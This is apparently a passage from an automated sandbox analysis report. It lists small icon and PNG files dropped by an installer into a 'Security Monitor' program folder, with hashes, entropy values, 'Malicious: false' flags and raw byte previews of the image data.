Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-GS1MF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-HBAE2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-HLNSP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-HO3LF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-IICD2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JQ1MF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JUD98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-KS758.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-L8G0P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-M4A4H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-M71GK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-N8RGH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NCBB7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NNA59.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NSHLH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-OHQNG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-OO1JS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
